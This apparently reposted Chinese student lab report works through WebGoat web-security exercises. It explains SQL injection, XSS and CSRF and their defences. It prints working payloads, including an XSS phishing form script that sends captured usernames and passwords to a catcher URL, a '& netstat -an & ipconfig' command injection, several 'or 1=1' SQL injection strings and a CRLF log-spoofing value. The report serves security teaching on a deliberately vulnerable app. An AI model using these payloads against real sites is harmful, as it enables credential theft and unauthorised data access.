2018-2019-2 网络对抗技术 20165237 Exp9 Web安全基础实践

2018-2019-2 网络对抗技术 20165237 Exp9 Web安全基础实践


实验问题

  • (1)SQL注入攻击原理,如何防御

    原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。

    防御:对输入进行限制,包括输入长度和特殊字符的类型等

  • (2)XSS攻击的原理,如何防御

    原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。

    防御:收集JSP特征,对内容进行严格验证,规定格式。

  • (3)CSRF攻击原理,如何防御

    原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

    防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。


执行java -jar webgoat-container-7.0.1-war-exec.jar开启webgoat

Exp 9.1 Phishing with XSS

  • 原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
  • 在搜索框里输入XSS攻击代码
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在表单内填写的用户名密码会被捕获发送给你

Exp 9.2 数字型盲注入和字符串盲型注入

  • 原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。 目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。

  • 直接拿测好的数据进行注入


Exp 9.3 Command Injection

  • 右键复选框,选择inspect Element,在某个选项后加上"& netstat -an & ipconfig"

  • 在页面中选择该选型,然后点击view,则会出现该命令执行的结果


Exp 9.4 Numeric SQL Injection

  • 原理:在station字段中注入特征字符,组合成新的SQL语句。
  • 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,在选中的城市编号Value值中添加 or 1=1
  • 攻击成功,显示所有城市的天气情况

Exp 9.5 Log Spoofing

  • 原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
  • 接受用户输入的任何一个用户名,并将其追加到日志文件中。 利用入回车(0D%)和换行符(%0A),在 username 中填入 20165237%0d%0aLogin Succeeded for username: admin

Exp 9.6 Numeric SQL Injection

  • 原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。
  • 右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
  • 将员工ID的value改成101 or 1=1 order by salary desc

Exp 9.7 SQL 注入

  • 原理:基于以下查询语句构造自己的 SQL 注入字符串。 SELECT * FROM userdata WHERE lastname = '?'
  • 允许用户查看他们的信用卡号码。尝试通过 SQL 注入将所有信用卡信息 显示出来。尝试的用户名是“Smith”。 正常情况下只能查询到用户名对应的信用卡号码
  • 输入查询的用户名 Smith' or 1=1-- (Smith 和1=1都成了查询的条件,而1=1是恒等式,因此能查询到表里面的所有数据)


Exp 9.8 Cross Site Request Forgery

  • 原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
  • 当受害者的浏览器试图打开这个页面时,它会使用指定的参数向 www.mybank.com 的transferFunds.do 页面发送请求。

实验感想

  • 感想:

    做了这么多练习,感觉很有成就感,尤其是在这几个练习中,遇到了这样那样的问题,后来都通过自己的自主学习解决了。这种在自主学习之后,动手实践,发现问题、解决问题的过程,不仅给予了我更多学习的信心和动力,也让我在不断解决问题的过程中提升了自己各方面的能力,掌握了更全面的知识。

原文地址:https://www.cnblogs.com/Miss-moon/p/10927217.html